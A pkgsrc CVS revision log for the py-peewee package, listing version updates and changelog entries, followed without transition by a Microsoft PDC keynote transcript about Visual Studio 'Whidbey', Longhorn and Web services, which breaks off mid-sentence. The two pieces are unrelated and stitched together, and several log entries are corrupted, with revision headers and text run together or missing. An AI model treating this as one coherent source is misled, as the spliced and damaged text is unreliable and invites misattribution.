databases/py-peewee: Update to 3.2.2. 3.2.2 - Added support for passing Model classes to the returning() method when you intend to return all columns for the given model. - Fixed a bug when using user-defined sequences, and the underlying sequence already exists. - Added drop_sequences parameter to drop_table() method which allows you to conditionally drop any user-defined sequences when dropping the table. 3.2.1 - If both mysql-python and pymysql libraries are installed, Peewee will use pymysql by default. - Added new module playhouse.mysql_ext which includes MySQLConnectorDatabase, a database implementation that works with the mysql-connector driver. - Added new field to ColumnMetadata class which captures a database column's default value. ColumnMetadata is returned by Database.get_columns(). - Added documentation on making Peewee async. 3.2.0 - Potentially backwards-incompatible change: Field.coerce renamed to Field.adapt. 3.1.6 - Added rekey() method to SqlCipher database for changing encryption key and documentation for set_passphrase() method. - Added convert_values parameter to ArrayField constructor, which will cause the array values to be processed using the underlying data-type's conversion logic. - Fixed unreported bug using TimestampField with sub-second resolutions. - Fixed bug where options were not being processed when calling drop_table(). - Some fixes and improvements to signals extension. Revision 1.29 / (download) - annotate - [select for diffs], Fri Mar 16 12:06:03 2018 UTC (20 months, 2 weeks ago) by fhajny Branch: MAIN CVS Tags: pkgsrc-2018Q1-base, pkgsrc-2018Q1 Changes since 1.28: +2 -2 lines Diff to previous 1.28 (unified) to selected 1.30 (unified) databases/py-peewee: Update to 3.1.5. ## 3.1.5 - Fixed Python 2/3 incompatibility with `itertools.izip_longest()`. ## 3.1.4 - Added `BigAutoField` to support 64-bit auto-incrementing primary keys. - Use Peewee-compatible datetime serialization when exporting JSON from a `DataSet`. Previously the JSON export used ISO-8601 by default. - Added `Database.batch_commit` helper to wrap iterators in chunked transactions. ##.28 / (download) - annotate - [select for diffs], Tue Mar 13 10:16:37 2018 UTC (20 months, 3 weeks ago) by fhajny Branch: MAIN Changes since 1.27: +2 -2 lines Diff to previous 1.27 (unified) to selected 1.30 (unified) databases/py-peewee: Update to.27 / (download) - annotate - [select for diffs], Thu Mar 1 11:52:59 2018 UTC (21 months ago) by fhajny Branch: MAIN Changes since 1.26: +2 -2 lines Diff to previous 1.26 (unified) to selected 1.30 (unified) databases/py-peewee: Update to 3.1.1. - Fixed bug when using Model.alias() when the model defined a particular database schema. - Added SchemaManager.create_foreign_key API to simplify adding constraints when dealing with circular foreign-key relationships. - Improved implementation of Migrator.add_foreign_key_constraint so that it can be used with Postgresql (in addition to MySQL). - Added PickleField to the playhouse.fields module. Docs. - Fixed bug in implementation of CompressedField when using Python 3. - Added KeyValue API in playhouse.kv module. Docs. - More test cases for joining on sub-selects or common table expressions. Revision 1.26 / (download) - annotate - [select for diffs], Tue Feb 27 10:49:49 2018 UTC (21 months, 1 week ago) by fhajny Branch: MAIN Changes since 1.25: +2 -2 lines Diff to previous 1.25 (unified) to selected 1.30 (unified) Update databases/py-peewee to 3.1.0. Backwards-incompatible changes - Database.bind() has been renamed to Database.bind_ctx(), to more closely match the semantics of the corresponding model methods, Model.bind() and Model.bind_ctx(). The new Database.bind() method is a one-time operation that binds the given models to the database. See documentation: Other changes - Removed Python 2.6 support code from a few places. - Fixed example analytics app code to ensure hstore extension is registered. - Small efficiency improvement to bloom filter. - Removed "attention!" from README. Revision 1.25 / (download) - annotate - [select for diffs], Fri Feb 23 11:39:51 2018 UTC (21 months, 1 week ago) by fhajny Branch: MAIN Changes since 1.24: +2 -2 lines Diff to previous 1.24 (unified) to selected 1.30 (unified) databases/py-peewee: Update to 3.0.20. 3.0.20 - Include schema (if specified) when checking for table-existence. - Correct placement of ORDER BY / LIMIT clauses in compound select queries. - Fix bug in back-reference lookups when using filter() API. - Fix bug in SQL generation for ON CONFLICT queries with Postgres 3.0.19 - Support for more types of mappings in insert_many() - Lots of documentation improvements. - Fix bug when calling tuples() on a ModelRaw query. This was reported originally as a bug with sqlite-web CSV export Revision 1.24 / (download) - annotate - [select for diffs], Mon Feb 19 13:08:52 2018 UTC (21 months, 2 weeks ago) by fhajny Branch: MAIN Changes since 1.23: +2 -2 lines Diff to previous 1.23 (unified) to selected 1.30 (unified) databases/py-peewee: Update to 3.0.18. - Improved error messages when attempting to use a database class for which the corresponding driver is not installed. - Added tests showing the use of custom operator (a-la the docs). - Fixed indentation issue in docs - Fixed issue with the SQLite date_part issue Revision 1.23 / (download) - annotate - [select for diffs], Tue Feb 13 15:26:10 2018 UTC (21 months, 3 weeks ago) by fhajny Branch: MAIN Changes since 1.22: +2 -3 lines Diff to previous 1.22 (unified) to selected 1.30 (unified) databases/py-peewee: Update to 3.0.17. 3.0.17 - Fix schema inheritance regression - Add helper method to postgres migrator for setting search_path 3.0.16 - Improve model graph resolution when iterating results of a query - Allow Model._meta.schema to be changed at run-time Revision 1.22 / (download) - annotate - [select for diffs], Thu Feb 8 12:56:10 2018 UTC (21 months, 3 weeks ago) by fhajny Branch: MAIN Changes since 1.21: +2 -2 lines Diff to previous 1.21 (unified) to selected 1.30 (unified) databases/py-peewee: Update to 1.0.5. 1.0.5 - Use same schema used for reflection in generated models. - Preserve pragmas set on deferred Sqlite database if database is re-initialized without re-specifying pragmas. 1.0.4 - Fix bug creating model instances on Postgres when model does not have a primary key column. - Extend postgresql reflection to support array types. Revision 1.21 / (download) - annotate - [select for diffs], Wed Feb 7 16:12:08 2018 UTC (21 months, 3 weeks ago) by fhajny Branch: MAIN Changes since 1.20: +2 -2 lines Diff to previous 1.20 (unified) to selected 1.30 (unified) Update databases/py-peewee to 3.0.13 3.0.13 - Fix bug where simple field aliases were being ignored. - More strict about column type inference for postgres + pwiz. 3.0.12 - Fix queries of the form INSERT ... VALUES (SELECT...) so that sub-select is wrapped in parentheses. - Improve model-graph resolution when selecting from multiple tables that are joined by foreign-keys, and an intermediate table is omitted from selection. - Docs update to reflect deletion of post_init signal. 3.0.11 - Add note to changelog about cursor() method. - Add hash method to postgres indexedfield subclasses. - Add TableFunction to sqlite_ext module namespace. - Fix bug regarding NOT IN queries where the right-hand-side is an empty set. - Fallback implementations of bm25f and lucene search ranking algorithms. - Fixed DecimalField issue. - Fixed issue with BlobField when database is a Proxy object. Revision 1.20 / (download) - annotate - [select for diffs], Sun Feb 4 17:07:18 2018 UTC (21 months, 4 weeks ago) by fhajny Branch: MAIN Changes since 1.19: +2 -2 lines Diff to previous 1.19 (unified) to selected 1.30 (unified) databases/py-peewee: Update to 3.0.10. - Fix Database.drop_tables() signature to support cascade argument - Fix querying documentation for custom functions - Added len() method to ModelBase for convenient counting. - Fix bug related to unsaved relation population (thanks @conqp) - Fix count() on compound select - Support coerce keyword argument with fn.XXX() - Support updating existing model instance with dict_to_model-like API - Fix equality tests with ArrayField Revision 1.19 / (download) - annotate - [select for diffs], Fri Feb 2 16:00:33 2018 UTC (22 months ago) by fhajny Branch: MAIN Changes since 1.18: +5 -4 lines Diff to previous 1.18 (unified) to selected 1.30 (unified) databases/py-peewee: Update to 3.0.9. 3.0.9 - Add deprecation notice if passing autocommit as keyword argument to the Database initializer. - Add JSONPath and "J" helpers to sqlite extension. 3.0.8 - Add support for passing cascade=True when dropping tables. - Fix issues with backrefs and inherited foreign-keys. 3.0.7 - Add select_extend() method to extend existing SELECT-ion. - Accept set() as iterable value type - Add test for model/field inheritance and fix bug relating to recursion error when inheriting foreign-key field. - Fix regression where consecutive calls to ModelSelect.select() with no parameters resulted in an empty selection. 3.0.6 - Add constraints for ON UPDATE/ON DELETE to foreign-key constraint 3.0.5 - Adds Model.index(), a short-hand method for declaring ModelIndex instances. 3.0.4 - Re-add a shim for PrimaryKeyField (renamed to AutoField) and log a deprecation warning if you try to use it 3.0.3 - Includes fix for bug where column-name to field-name translation was not being done when running select queries on models whose field name differed from the underlying column name. 3.0.2 - Fixes missing pysqlite header files, which are needed to compile certain C extensions. 3.0.0 - Complete rewrite of SQL AST and code-generation. - Inclusion of new, low-level query builder APIs. - List of backwards-incompatible changes since 2.x: Revision 1.18 / (download) - annotate - [select for diffs], Fri Oct 13 14:19:05 2017 UTC (2 years, 1 month ago) by fhajny Branch: MAIN CVS Tags: pkgsrc-2017Q4-base, pkgsrc-2017Q4 Changes since 1.17: +2 -2 lines Diff to previous 1.17 (unified) to selected 1.30 (unified) Update databases/py-peewee to 2.10.2 2.10.2 - Update travis-ci build scripts to use Postgres 9.6 and test against Python 3.6. - Added support for returning namedtuple objects when iterating over a cursor. - Added support for specifying the "object id" attribute used when declaring a foreign key. By default, it is foreign-key-name_id, but it can now be customized. - Fixed small bug in the calculation of search scores when using the SQLite C extension or the sqlite_ext module. - Support literal column names with the dataset module. 2.10.1 - Removed AESEncryptedField.) to selected 1.30 (unified) Update databases/py-peewee to 2.10.0. - Remove the playhouse.fields.AESEncryptedField over security concerns described in ticket #1264. - Correctly resolve explicit table dependencies when creating tables, refs - Implement not equals comparison for CompositeKey. Revision 1.16 / (download) - annotate - [select for diffs], Wed Apr 26 14:10:48 2017 UTC (2 years, 7 months ago) by fhajny Branch: MAIN Changes since 1.15: +3 -1 lines Diff to previous 1.15 (unified) to selected 1.30 (unified) Fix sphinx-build lookup Revision 1.15 / (download) - annotate - [select for diffs], Fri Apr 21 09:14:01 2017 UTC (2 years, 7 months ago) by fhajny Branch: MAIN Changes since 1.14: +18 -2 lines Diff to previous 1.14 (unified) to selected 1.30 (unified).). Revision 1.14 / (download) - annotate - [select for diffs], Wed Oct 26 14:28:16 2016 UTC (3 years, 1 month ago) by fhajny Branch: MAIN CVS Tags: pkgsrc-2017Q1-base, pkgsrc-2017Q1, pkgsrc-2016Q4-base, pkgsrc-2016Q4 Changes since 1.13: +2 -2 lines Diff to previous 1.13 (unified) to selected 1.30 (unified). Revision 1.13 / (download) - annotate - [select for diffs], Sat Sep 10 20:58:45 2016 UTC (3 years, 2 months ago) by fhajny Branch: MAIN CVS Tags: pkgsrc-2016Q3-base, pkgsrc-2016Q3 Changes since 1.12: +2 -2 lines Diff to previous 1.12 (unified) to selected 1.30 (unified). Revision 1.12 / (download) - annotate - [select for diffs], Tue Aug 9 12:10:31 2016 UTC (3 years, 3 months ago) by fhajny Branch: MAIN Changes since 1.11: +2 -2 lines Diff to previous 1.11 (unified) to selected 1.30 (unified). Revision 1.11 / (download) - annotate - [select for diffs], Fri May 6 09:45:09 2016 UTC (3 years, 7 months ago) by fhajny Branch: MAIN CVS Tags: pkgsrc-2016Q2-base, pkgsrc-2016Q2 Changes since 1.10: +2 -2 lines Diff to previous 1.10 (unified) to selected 1.30 (unified)) to selected 1.30 . Revision 1.9 / (download) - annotate - [select for diffs], Mon Nov 23 21:15:32 2015 UTC (4 years ago) by fhajny Branch: MAIN CVS Tags: pkgsrc-2015Q4-base, pkgsrc-2015Q4 Changes since 1.8: +5 -3 lines Diff to previous 1.8 (unified) to selected 1.30 (unified) Update databases/py-peewee to 2.7.3. 2.7.3 Small release which includes some changes to the BM25 sorting algorithm and the addition of a JSONField for use with the new JSON1 extension. 2.7.2 Small release with bugfixes to the setup script. I've also cleaned up some missing APIs in the FTS5Model to support more flexible use of either FTSModel or FTS5Model. 2.7.1 Small release which includes fixes to the setup script. Particularly, if you did not have Cython installed, the installation would completely fail. This was fixed. 2.7.0 New APIs, features, and performance improvements. Notable changes and new features - PasswordField that uses the bcrypt module. - Added new Model Meta.only_save_dirty flag to, by default, only save fields that have been modified. - Added support for upsert() on MySQL (in addition to SQLite). - Implemented SQLite ranking functions (rank and bm25) in Cython, and changed both the Cython and Python APIs to accept weight values for every column in the search index. This more closely aligns with the APIs provided by FTS5. In fact, made the APIs for FTS4 and FTS5 result ranking compatible. - Major changes to the :ref:sqlite_ext module. Function callbacks implemented in Python were implemented in Cython (e.g. date manipulation and regex processing) and will be used if Cython is available when Peewee is installed. - Support for the experimental new FTS5 SQLite search extension. - Added :py:class:SearchField for use with the SQLite FTS extensions. - Added :py:class:RowIDField for working with the special rowid column in SQLite. - Added a model class validation hook to allow model subclasses to perform any validation after class construction. This is currently used to ensure that FTS5Model subclasses do not violate any rules required by the FTS5 virtual table. Bugs fixed - #751, fixed some very broken behavior in the MySQL migrator code. Added more tests. - #718, added a RetryOperationalError mixin that will try automatically reconnecting after a failed query. There was a bug in the previous error handler implementation that made this impossible, which is also fixed. Revision 1.8 / (download) - annotate - [select for diffs], Mon Oct 12 10:00:57 2015 UTC (4 years, 1 month ago) by fhajny Branch: MAIN Changes since 1.7: +2 -1 lines Diff to previous 1.7 (unified) to selected 1.30 (unified) Add missing py-cython bl3, fixes PLIST phase Revision 1.7 / (download) - annotate - [select for diffs], Thu Oct 8 12:59:13 2015 UTC (4 years, 1 month ago) by fhajny Branch: MAIN Changes since 1.6: +3 -3 lines Diff to previous 1.6 (unified) to selected 1.30 (unified) Delete. Revision 1.6 / (download) - annotate - [select for diffs], Mon Aug 24 20:01:48 2015 UTC (4 years, 3 months ago) by fhajny Branch: MAIN CVS Tags: pkgsrc-2015Q3-base, pkgsrc-2015Q3 Changes since 1.5: +2 -2 lines Diff to previous 1.5 (unified) to selected 1.30 (unified) Update databases/py-peewee to 2.6.3 2.6.3 - New `fields` module. - Fix runtests to not run dupes. - Add `FixedCharField`, fixes #631 2.6.2 - #641, fixed bug with exception wrapping and Python 2.6 - #634, fixed bug where correct query result wrapper was not being used for certain composite queries. - #625, cleaned up some example code. - #614, fixed bug with aggregate_rows() when there are multiple joins to the same table. - Added create_or_get() as a companion to get_or_create(). - Added support for ON CONFLICT clauses for UPDATE and INSERT queries. Docs. - Added a JSONKeyStore to playhouse.kv. - Added Cythonized version of strip_parens(), with plans to perhaps move more performance-critical code to Cython in the future. - Added docs on specifying vendor-specific database parameters. - Added docs on specifying field default values (both client and server-side). - Added docs on foreign key field back-references. - Added docs for models without a primary key. - Cleaned up docs on prefetch() and aggregate_rows(). Revision 1.5 / (download) - annotate - [select for diffs], Wed Jun 10 17:34:25 2015 UTC (4 years, 5 months ago) by fhajny Branch: MAIN CVS Tags: pkgsrc-2015Q2-base, pkgsrc-2015Q2 Changes since 1.4: +5 -3 lines Diff to previous 1.4 (unified) to selected 1.30 (unified) Update databases/py-peewee to 2.6.1. 2.6.1 - #606, support self-referential joins with prefetch and aggregate_rows() methods. - #588, accomodate changes in SQLite's PRAGMA index_list() return value. - #607, fixed bug where pwiz was not passing table names to introspector. - #591, fixed bug with handling of named cursors in older psycopg2 version. - Removed some cruft from the APSWDatabase implementation. - Added CompressedField and AESEncryptedField - #609, #610, added Django-style foreign key ID lookup. - Added support for Hybrid Attributes (cool idea courtesy of SQLAlchemy). - Added upsert keyword argument to the Model.save() function (SQLite only). - #587, added support for ON CONFLICT SQLite clause for INSERT and UPDATE queries. - #601, added hook for programmatically defining table names. - #581, #611, support connection pools with playhouse.db_url.connect(). - Added Contributing section section to docs. 2.6.0 - get_or_create() now returns a 2-tuple consisting of the model instance and a boolean indicating whether the instance was created. The function now behaves just like the Django equivalent. - #574, better support for setting the character encoding on Postgresql database connections. Thanks @klen! - Improved implementation of get_or_create(). Revision 1.4 / (download) - annotate - [select for diffs], Tue Apr 7 09:51:44 2015 UTC (4 years, 8 months ago) by fhajny Branch: MAIN Changes since 1.3: +2 -2 lines Diff to previous 1.3 (unified) to selected 1.30 (unified) Update py-peewee to 2.5.1. 2.5.1 - #566, fixed a bug regarding parentheses around compound SELECT queries (i.e. UNION, INTERSECT, etc). - Fixed unreported bug where table aliases were not generated correctly for compound SELECT queries. - #559, add option to preserve original column order with pwiz. Thanks @elgow! - Fixed unreported bug where selecting all columns from a ModelAlias does not use the appropriate FieldAlias objects. - #561, added an option for bulk insert queries to return the list of auto-generated primary keys. See docs for InsertQuery.return_id_list. - #569, added parse function to the playhouse.db_url module. Thanks @stt! - Added hacks section to the docs. Please contribute your hacks! - Calls to Node.in_() and Node.not_in() do not take *args anymore and instead take a single argument. 2.5.0 - #534, CSV utils was erroneously stripping the primary key from CSV data. - #537, fix upserts when using insert_many. - #541, respect autorollback with PostgresqlExtDatabase. Thanks @davidmcclure. - #551, fix for QueryResultWrapper's implementation of the iterator protocol. - #554, allow SQLite journal_mode to be set at run-time. - Fixed case-sensitivity issue with DataSet. - Added support for CAST expressions. - Added a hook for extending Node with custom methods. - JOIN_<type> became JOIN.<type>, e.g. .join(JOIN.LEFT_OUTER). - OP_<code> became OP.<code>. - #556, allowed using + and - prefixes to indicate ascending/descending ordering. - #550, added Database.initialize_connection() hook. - #549, bind selected columns to a particular model. Thanks @jhorman, nice PR! - #531, support for swapping databases at run-time via Using. - #530, support for SQLCipher and Python3. - New RowIDField for sqlite_ext playhouse module. This field can be used to interact with SQLite rowid fields. - Added LateralJoin helper to the postgres_ext playhouse module. 2.4.7 - #504, Docs updates. - #506, Fixed regression in aggregate_rows() - #510, Fixes bug in pwiz overwriting columns. - #514, Correctly cast foreign keys in prefetch(). - #515, Simplifies queries issued when doing recursive deletes. - #516, Fix cloning of Field objects. - #519, Aggregate rows now correctly preserves ordering of joined instances. - Unreported, fixed bug to not leave expired connections sitting around in the pool. - Added support for Postgresql's jsonb type with BinaryJSONField. - Add some basic Flask helpers. - Add support for UNION ALL queries in #512 - Add SqlCipherExtDatabase, which combines the sqlcipher database with the sqlite extensions. - Add option to print metadata when generating code with pwiz. 2.4.6 - #503, fixes behavior of aggregate_rows() when used with a CompositeKey. - #498, fixes value coercion for field aliases. - #492, fixes bug with pwiz and composite primary keys. - #486, correctly handle schemas with reflection module. - Peewee has a new ManyToManyField available in the playhouse.shortcuts module. - Peewee now has proper support for NOT IN queries through the Node.not_in() method. - Models now support iteration. This is equivalent to Model.select(). 2.4.5 - #471, #482 and #484, all of which had to do with how joins were handled by the aggregate_rows() query result wrapper. - #472 removed some needless special-casing in Model.save(). - #466 fixed case-sensitive issues with the SQLite migrator. - #474 fixed a handful of bugs that cropped up migrating foreign keys with SQLite. - #475 fixed the behavior of the SQLite migrator regarding auto-generated indexes. - #479 fixed a bug in the code that stripped extra parentheses in the SQL generator. - Fixed a handful of bugs in the APSW extension. - Added connection abstraction called ExecutionContext (see docs). - Made all context managers work as decorators (atomic, transaction, savepoint, execution_context). - Added explicit methods for IS NULL and IS NOT NULL queries. The latter was actually necessary since the behavior is different from NOT IS NULL (...). - Allow disabling backref validation (#465) - Made quite a few improvements to the documentation, particularly sections on transactions. - Added caching to the DataSet extension, which should improve performance. - Made the SQLite migrator smarter with regards to preserving indexes when a table copy is necessary. Revision 1.3 / (download) - annotate - [select for diffs], Fri Dec 12 11:42:25 2014 UTC (4 years, 11 months ago) by fhajny Branch: MAIN CVS Tags: pkgsrc-2015Q1-base, pkgsrc-2015Q1, pkgsrc-2014Q4-base, pkgsrc-2014Q4 Changes since 1.2: +2 -2 lines Diff to previous 1.2 (unified) to selected 1.30 (unified) Update py-peewee to 2.4.4. 2.4.4 ===== * Backwards-incompatible changes - The argument signature for the SqliteExtDatabase.aggregate() decorator changed so that the aggregate name is the first parameter, and the number of parameters is the second parameter. If no values are specified, peewee will choose the name of the class and an un-specified number of arguments (-1). - The logic for saving a model with a composite key changed slightly. Previously, if a model had a composite primary key and you called save(), only the dirty fields would be saved. * Bugs fixed - #462 - #465, add hook for disabling backref validation. - #466, fix case-sensitive table names with migration module. - #469, save only dirty fields. * New features - Lots of enhancements and cleanup to the playhouse.apsw_ext module. - The playhouse.reflection module now supports introspecting indexes. - Added a model option for disabling backref validation. - Added support for the SQLite closure table extension. - Added support for virtual fields, which act on dynamically-created virtual table fields. - Added a new example: a virtual table implementation that exposes Redis as a relational database table. - Added a module playhouse.sqlite_aggregates that contains a handful of aggregates you may find useful when developing with SQLite. - Small documentation updates here and there. 2.4.3 ===== * Bugs fixed - #466, table names are case sensitive in the SQLite migrations module. - #465, added option to disable backref validation. - #462, use the schema name consistently with postgres reflection. * New features - New model Meta option to disable backref validation. See validate_backrefs. - Added documentation on ordering by calculated values. - Added basic PyPy compatibility. - Added logic to close cursors after they have been exhausted. - Structured and consolidated database metadata introspection, including improvements for introspecting indexes. - Added support to prefetch for traversing up the query tree. - Added introspection option to skip invalid models while introspecting. - Added option to limit the tables introspected. - Added closed connection detection to the MySQL connection pool. - Enhancements to passing options to creating virtual tables with SQLite. - Added factory method for generating Closure tables for use with the transitive_closure SQLite extension. - Added support for loading SQLite extensions. - Numerous test-suite enhancements and new test-cases. 2.4.2 ===== * Bugs fixed - #449, typo in the db_url extension, thanks to @malea for the fix. - #457 and #458, fixed documentation deficiences. * New features - Added support for importing data when using the DataSet extension. - Added an encrypted diary app to the examples. - Better index reconstruction when altering columns on SQLite databases with the migrate module. - Support for multi-column primary keys in the reflection module. - Close cursors more aggressively when executing SELECT queries. Revision 1.2 / (download) - annotate - [select for diffs], Wed Oct 29 13:13:38 2014 UTC (5 years, 1 month ago) by fhajny Branch: MAIN Changes since 1.1: +7 -2 lines Diff to previous 1.1 (unified) to selected 1.30 (unified) Update py-peewee to 2.4.1. Changes in 2.4.1: - Fixed #448, add hook to the connection pool for detecting closed connections. - Fixed #229, fix join attribute detection. - Fixed #447, fixed documentation typo. Changes in 2.4.0: - Most of the introspection logic was moved out of the pwiz module and into playhouse.reflection. - Created a new reflection extension for introspecting databases. The reflection module additionally can generate actual peewee Model classes dynamically. - Created a dataset library (based on the SQLAlchemy project of the same name). For more info check out the blog post announcing playhouse.dataset. - Added a db_url module which creates Database objects from a connection string. - Added csv dump functionality to the CSV utils extension. - Added an atomic context manager to support nested transactions. - Added support for HStore, JSON and TSVector to the reflection module. - More documentation updates. - Fixed #440, which fixes a bug where Model.dirty_fields did not return an empty set for some subclasses of QueryResultWrapper. Revision 1.1 / (download) - annotate - [select for diffs], Fri Oct 17 10:24:04 2014 UTC (5 years, 1 month ago) by fhajny Branch: MAIN Diff to selected 1.30 (unified) Import peewee as databases/py-peewee. Peewee is a simple and small ORM. It has few (but expressive) concepts, making it easy to learn and intuitive to use. Supports SQLite, MySQL and PostgreSQL. This form allows you to request diff's between any two revisions of a file. You may select a symbolic revision name using the selection box or you may type in a numeric name using the type-in text box.
http://cvsweb.netbsd.org/bsdweb.cgi/pkgsrc/databases/py-peewee/Makefile?r1=1.30&f=h
CC-MAIN-2019-51
refinedweb
9,815
60.31
Transcript of Remarks by Eric Rudder, Senior Vice President, Servers and Tools, . ANNOUNCER: Ladies and gentlemen, please welcome Senior Vice President Eric Rudder. (Applause.) ERIC RUDDER: Well, good morning. Thanks for your warm welcome. Thanks for putting up with some travel hassles to join us at the PDC. And most of all, thank you for really making our technology sing. You guys over the past couple years have been taking advantage of technology on the leading edge and producing some really great applications and we all know we're not successful without the great work that you do, so I want to make sure, if nothing else today, that I get a chance to thank you. You'll notice in some of the handouts in your PDC there's this little book called ".NET Momentum" and there's a bunch of case studies highlighted on how people are using the technologies in production today and I encourage you to flip through it. It might kind of give you some ideas on how you can solve some problems of your own. Well, like you, I was actually impacted by some of the travel delays on the way here and so I had a bunch of time to do some extra sightseeing. But no matter what I did, I kind of couldn't get the PDC off my mind. And even while I was trying to relax, I kept starting to think about Longhorn and then I started to think about the components of "Longhorn," "Indigo," "Avalon," "WinFS." And then I started thinking about my keynote a little bit today and Gordon's keynote. We're going to talk about kind of the "Yukon" and "Whidbey" wave of technologies. And then I started to relax and think about the week and then I started to think about what I wanted to be for Halloween, and then I kind of got back to the PDC again. So I'm going to actually go through some of the tools technology in "Whidbey" that complement the platform technology that Jim talked about yesterday. So I didn't bring out the poster but you guys all remember this from yesterday, the "WinFS" kind of taxonomy and overview. I'm going to talk about how tools complement that technology as a great leading edge. I had a chance to talk to many of you yesterday and in the weeks past, months past since the last PDC and we got a lot of feedback from developers. And I think the feedback is fairly consistent along lots of lines. The first I hear is, "Hey, as you guys introduce a new platform, please don't make me rewrite everything." I hear things about, "I need more samples. The way I learn is samples, samples, samples; give me more sample code. And when you give me sample code, give it to me in my language of choice. So if I'm a C++ developer, I want to see it that way. If I'm a VB .NET developer, show me VB samples. If I'm a J# developer, show me in Java. And if I'm C#, show me in C#." And so we've actually changed how we do documentation both in our products and for the PDC at large. For our products we've actually gone to a model where the Visual Studio environment will automatically update itself so you can actually go up now if you have Visual Studio 2003 and update a new set of samples and actually since we've shipped Visual Studio .NET 2003, which is only a few short months ago, we actually have a new 5,279 samples have been added and linked with help and indexed and it's very nice to search. And literally the SDK for "Longhorn," and for "Yukon" and for all the technologies that were introduced, is a live SDK, linked to the Internet. We'll show you in the demo kind of how you can comment, and you can write Microsoft a note saying, "Hey, this thing in your documentation is buggy," or "I need samples here or please fix this stuff," and it will be a living document and a living update so you can respond kind of in real time. We hear a lot about, "Hey, writing the application is great but still moving code from development to production is too hard and I need better support and better facilities for partnering with IT." And we'll show you some of that technology in the demo today. And I hear a lot about, you know, especially with the latest news on security, "How can you help me make my code secure?" A lot about devices I hear. People see the Tablet PCs, is that hard, is it easy, how do I add Tablet PC support; I'll talk a little bit about that. "What do I need to do to support devices? Do I need to completely rewrite my app? How do I factor my app? Can I kind of have a common code base but add some features?" I hear a lot about, "Please make sure I can interoperate with other vendors' technology. I have to access Oracle databases or my own system." Or, "I've got IBM middleware involved," and all the technology continues to interoperate as we move forward into "Longhorn." And finally here are concerns about deployment and we'll show you some of the Click-Once technology as well. Well, first I want to assure you that we're listening and we understand that the road to "WinFS" is a long one and people have a lot of code in Win 32 today. We at Microsoft actually have some Win 32 code ourselves. And we expect people to transition gradually. So the first call to action really is to think about new features that you're adding, move to managed code now. It will position you much better to maximize "Longhorn's" capabilities. But absolutely you can take your Win 32 native code and without rewriting everything you manage take advantage of the "Longhorn" features. And it works much like the interop works between Win 32 and the .NET Framework does today. We have COM interop and remoting and it's nice. It's a great way to get started, it's a great way to prototype. I do expect most applications over the long term to be managed, but it's not required, you don't need to rewrite everything, and you can certainly take advantage of all the code that you've written to date. The second great way to really kind of take advantage of some of the new technologies is to think about using Web services as a wrapper to what you're doing. It's very easy to take an existing system and put a Web-service front end on it and expose it out to the world. Web services are based on open standards. You can put a Web-service front end in terms of any platform. It's protocol-based. So again there's good industry support, good interoperability, and I expect a lot of people to take this solution going forward. At the PDC last time, we actually kind of were just at the cusp of the Web-services revolution. We had XML, we had SOAP, WSDL, UDDI and we were really working to put together the basic Web services profile and we've made great progress on that. At the time, you could only run Web services over HTTP. That was the only way we specified it. And we heard a lot of feedback from folks on, "Hey, this is a great start, we like the direction, but we need more. We need to run over other transports. Sometimes we'd actually like to use mail, because it's our reliable store. Or we may have an investment in reliable messaging infrastructure, either (MSNQ or MQ Series or ?????); can I run Web-services applications over that transport." And we heard a lot of feedback about people wanting to write secure, reliable transactive Web services and that our platform needed to grow and enhance and make that easier. And so I have some good news coming on in how we're going to make it easier to write connected applications using the "Indigo" technology going forward. We heard a lot about language choice and people's existing code and at the last PDC we had a broad selection of languages. I think we announced about 27 languages. This kind of surprised me. We've done nothing but continue to expand the support for languages in .NET. You can see some commercial like Delphi, some F# and P#, so you might want to reserve; there's only about 20 letters left in the alphabet if you want to get your own # up there. And then I asked kind of people to go out and see what the research community is doing on top of the .NET Framework because we get many of our ideas from the research community on how to put new features in or do language enhancements. And the team came back with a project at the University of Denmark called Pizza. Besides the fact that I thought that was kind of a cheesy example, I did wonder like, well, is this real? (Groans from audience.) All right, I think the boos are fair, it's OK. (Laughter.) I thought, you know, is this real, are they just trying to put it on my slide to see if I'll go through or do I do an edit. It is a real project. It actually started off based on some Java extensions. They've now ported over to the .NET Framework. The great thing is you see some of the features, whether it's script or error-handling or string-manipulation, you'll see a lot of these features coming into the .NET environment going off in the future. I'm going to talk a lot about Visual Studio "Whidbey." You have a copy of Visual Studio "Whidbey" in your bag. We always like to get the tools out in front of the wave, because I think in many ways tools drive the wave and you need great tools to take advantage of the platform. So you can actually absolutely use "Whidbey" to take advantage of "Longhorn." We'll actually deliver "Whidbey" in final form way before "Longhorn" ships, so you can expect another update from the tools around the time that "Longhorn" ships. We spent a lot of time really continuing to craft innovation in the language, so you'll see support for generics, iterators, partial types, operator-overlaying in languages that didn't have it, like VB .NET. There's good support in C++, not only for interoperating with .NET and some of the type system unification work that we're doing but there's nice coexistence. If you're used to C++ templates, you can now use them with CLR types and that also works with the way we're doing generics, super powerful examples there. We've worked super hard on IDE productivity and we'll show you in some of the demos we have support for refactoring, code expansions, which is kind of a new feature that I don't think we've seen in any editors that people are going to get super interested in, and we've expanded out our XML documentation across languages and again working with the interactive help system and really drawing the community in to the IDE itself. And really that was one of our goals is rather than have to sit in Visual Studio and kind of start a Web browser and kind of interact back and forth, most of the extensions that we have in Visual Studio for acting in the community, you can actually do right in line in Visual Studio and we just post Web services on Microsoft.com and trade information back and forth between the IDE and the services. We've done some great work in debugging. Edit-and-continue is back for VB. (Applause.) We've got some new data tips and a data visualizer. This actually allows you to see custom visualizations for specific types that may be important for your application. For example, if you have a cursor type coming back from a database and kind of the last thing you want to do is sit in a debugger and go through it row by row or array by array. You can actually write your own visual representation of that data structure to debug it, which is kind of cool. I mentioned some of the template support. We actually have this feature called STL .NET. If you like STL programming in the C++ world and want to come over to .NET I think people will find that attractive. And then for people doing scientific computing and high-end applications, we've added support for Open MP. Well, even if all these great productivity features and editor enhancements and IDE, I still hear, "God, I still have so much code to write. I still have so much work to do. I still have this huge application backlog. Please help me." And I thought I'd actually go through some examples kind of from the years past to where we're going and what it looks like and what we're doing to reduce the amount of code that you have to write. Here's an example actually of a secure, reliable, transacted Web services example that we built using Visual Studio .NET. And I think this kind of proves the point. You absolutely could build this solution. It's a real sample solution we build. But it took about 50,000 lines of code, which is a non-trivial production effort. And that's great if you're a rocket scientist and you have a couple of rocket scientists around to write it, but we knew we could do a lot better. And so we created what we call WSE, the Web Services Enhancements toolkit. We focused really hard on security, because that was the feedback that we got from customers first, make the security easier, it's too error prone, I don't want my guys coding security, I just want to do declarative operations and help me. And we took a dramatic reduction; we went down to about 27,000 lines of code from the previous version and that I think can be coded by mere mortals and a development team going forward. But that still isn't good enough, especially for a guy like me that wants to get up there and do demos. So we took this sample and we had a go in Indigo to 